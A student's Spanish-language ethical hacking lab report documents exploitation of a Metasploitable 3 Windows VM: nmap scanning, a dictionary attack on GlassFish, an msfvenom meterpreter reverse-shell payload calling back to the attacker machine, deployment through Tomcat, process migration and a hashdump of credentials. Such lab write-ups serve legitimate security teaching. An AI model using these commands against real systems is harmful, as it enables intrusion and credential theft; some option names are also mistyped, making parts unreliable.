0
Juan David Ríos Palomino
INFORME HACKING ETICO
Explotación y posexplotacion
En el siguiente documento encontraremos documentado el paso a paso del proceso de
explotación y posexplotacion, laboratorio creado en un ambiente de maquina virtual KALILINUX y
metaesploitable 3 win2k8, con el único propósito de evidenciar las vulnerabilidades a explotar.
JUAN
Jdrios78@gmal.com
Objetivos
Utilizar alguna herramienta para llevar a cabo un fingerprinting sobre la máquina
Metasploitable (Windows). Recopilar todos los puertos y versiones posibles.
Explicar la diferencia entre un payload de tipo bind y reverse, y ejemplificarla.
Conseguir explotar una vulnerabilidad y obtener el control remoto de la máquina
a través de un meterpreter. Demostrar con imágenes el proceso.
Hacer posexplotación en la sesión obtenida anteriormente, lograr elevar
privilegios, migrar el proceso a uno nuevo y extraer las credenciales en memoria
haciendo uso de hashdump.
Utilizar alguna herramienta para llevar a cabo un
fingerprinting sobre la máquina Metasploitable (Windows).
Recopilar todos los puertos y versiones posibles.
Ilustración 1, Interfaz gráfica VMware Workstation
Las herramientas utilizadas para llevar a cabo la realización del pentesting fue
VMware Workstation como emulador de maquinas virtuales y los sistemas
operativos Windows server 2008(metasploitable 3) mediante vagrant extraído del
GitHub “https://github.com/rapid7/metasploitable3. “ y Kali Linux.
Para el laboratorio firgerprinting tendremos en cuenta que ambas máquinas están
en una red privada 192.168.1.0/24. La máquina Kali tiene una dirección IP de
192.168.1.75 y la máquina Metasploitable que se va a escanear tiene una dirección IP
de 192.168.1.24.
Sin embargo, sabemos que la dirección de la maquina metasploitable no la
conocemos, un escaneo rápido con nmap nos ayudara a determinar los host activos
en la red con el siguiente comando nmap -sn 192.168.1.0/24 .
-sn deshabilita el comportamiento predeterminado de nmap de intentar escanear el
puerto de un host y simplemente hace que nmap intente hacer ping al host.
Ilustración 2, Escaneo Nmap
En el siguiente escaneo es de servicio donde trataremos determinar qué servicio
puede estar escuchando en un puerto particular en una máquina y su versión.
# sudo nmap -sS 192.168.1.24 -vv -sV
Ilustración 3, Escaneo de puertos y sus versiones.
Tener tantos puertos abiertos en la mayoría de las máquinas es muy anormal, con el
siguiente comando obtendremos los puertos del host en específico, el estado si está
abierto o cerrado, su tipo de servicio y su versión. Toda esta información nos será
útil para poder elegir un exploit adecuado.
-sS: Nmap probará todos los puertos abiertos e intentará capturar información de
los servicios que se ejecutan en cada puerto.
-sV: La detección de servicio (-sV) también está habilitada en esta configuración de
escaneo de puertos y obtendrá la versión de los servicios en ejecución.
Explicar la diferencia entre un payload de tipo bind y
reverse, y ejemplificarla.
Conocemos el termino paylad como un conjunto de instrucciones o códigos que son
inyectados en el sistema de la victima y nos permite ejecutar tareas como: ejecución
de código remoto y toma del control de la máquina, conexión a una botnet, Carga y
descarga de archivos, exfiltración de datos sensibles y despliegue de malware.
Payload bind Payload reverse
El payload bind se caracteriza en que En caso de payload inverso, la
el atacante envía un exploit al objetivo máquina objetivo se conectará a la
y abre un puerto. Luego, el atacante se máquina atacante.
conecta al objetivo a través de ese
puerto.
Es más complicado debido a los Se facilita evitar los sistemas de
firewalls, IDS y demás sistemas de seguridad debido al trafico que se
seguridad genera desde la maquina objeto hacia
al atacante.
Conseguir explotar una vulnerabilidad y obtener el control
remoto de la máquina a través de un meterpreter.
Demostrar con imágenes el proceso.
Detectamos que el puerto 4848/tcp esta abierto y que pertenece a Oracle Glassfish,
se explotara esa vulnerabilidad por medio de un exploit a un ataque de diccionario a
través del framework metasploit.
El primer paso es buscar el diccionario a utilizar el cual será “rockyou.txt”, ya que
Kali nos lo ofrece por defecto.
Ilustración 4, Diccionario Rockyou.txt
El siguiente paso será buscar y ejecutar un exploit para explotar la vulnerabilidad de
Oracle Glass fish, utilizaremos la opción 1 “tal como aparece en la ilustración 5” de
la siguiente manera (use auxiliary/scanner/http/glassfish_login).
Ilustración 5, exploit Glass Fish_Login
De la misma manera, se configuran las opciones del exploit, “show options” para
enlistar las opciones del exploit a configurar, “set RHOST 192.168.1.24” para
configurar nuestra victima conociendo la dirección ip asignada dentro de la red. “set
Ilustración 6, opciones a configurar exploit
PASS_LOGIN usr/share/wordlists/rockyou.txt”, que será la ruta donde se
encuentra el diccionario.
Realizado lo anterior lanzaremos el exploit de la siguiente manera, en el prompt
tecleamos “exploit”, y observamos en la ilustración 7 que el exploit comienza a
realizar la búsqueda del user pass en el diccionario.
Ilustración 7, búsqueda USER_PASS DICCIONARIO
En este paso crearemos un payload para cargarlo en el host de la victima y asi nos
pueda entregar un reverse Shell, se logra de la siguiente manera: “msfvenom -p
windows/meterpreter/reverse_tcp LHOST=192.168.1.75 LPORT=4444 -f war >
juan.war”. Revisar ilustración 8.
Ilustración 8, Creacion Payload
Teniendo el usuario y contraseña del glass fish con el exploit anteriormente usado,
el siguiente paso es explotar la vulnerabilidad de Oracle Glass Fish, con el exploit
“exploit/multi/http/glassfish_deployer” para inyectar el payload anteriormente
creado.
Ilustración 9, exploit Glass Fish Deployer
Configuramos las opciones del exploit como lo es el password, que sabemos que es
(sploit) gracias al ataque a diccionario que hicimos anteriormente. Se configura el
Ilustración 10, Opciones a configurar exploit Glass Fish Deployer
Remote Host, bien sabemos que es la ip de la víctima, y el exploit target que será con
Java Universal y corremos el exploit.Revisar ilustración 10.
Observando la ilustración 11, luego de ejecutar el exploit obtenemos el
meterpreter, y procedemos a hacer la posexplotacion.
Ilustración 11, Meterpreter
Hacer posexplotación en la sesión obtenida anteriormente,
lograr elevar privilegios, migrar el proceso a uno nuevo y
extraer las credenciales en memoria haciendo uso de
hashdump.
Terminada la fase de explotación comenzaremos la posexplotacion, escalando
provilegios hasta llegar a ADMIN
Ilustración 12, Reverse SHELL meterpreter
Obtenemos el reverse Shell y procedemos a cargar Oracle tomcat para cargar el
payload, ejecutarlo y crear la sesión para asi poder obtener los privilegios de
administrador.
Ilustración 13, Apache tomcat victima.
Ingresamos al Tomcat de la victima atraves de la siguiente estructura “192.168.1.24”
donde será la dirección ip de la victima “:8282” donde nos indica el puerto por el
cual tuvimos acceso.
Ilustración 14, Carga malware creado juan.war
En este paso procedemos con la carga y el deployd del payload, para asi obtener la
sesión de NT Authority.
Ilustración 15, Obtencion reverse shell ADMIN
Mediante el exploit Windows/meterpreter/reverse_tcp logramos obtener el reverse
Shell de la victima.
Ilustración 16, listado procesos ejectudos victima
Listamos procesos para poder conocer el proceso al cual debemos migrar para
realizar un movimiento lateral, en mi caso el numero de proceso es 2320 por lo tanto
el comando a utilizar es “migrate 2320”.
Ilustración 17, escalamiento de privilegios y obtención hashdump.
Por último, ejecturamos el comando “hashdump” en el meterpreter, para conocer las
credenciales de acceso de nuestra víctima. ilustración 17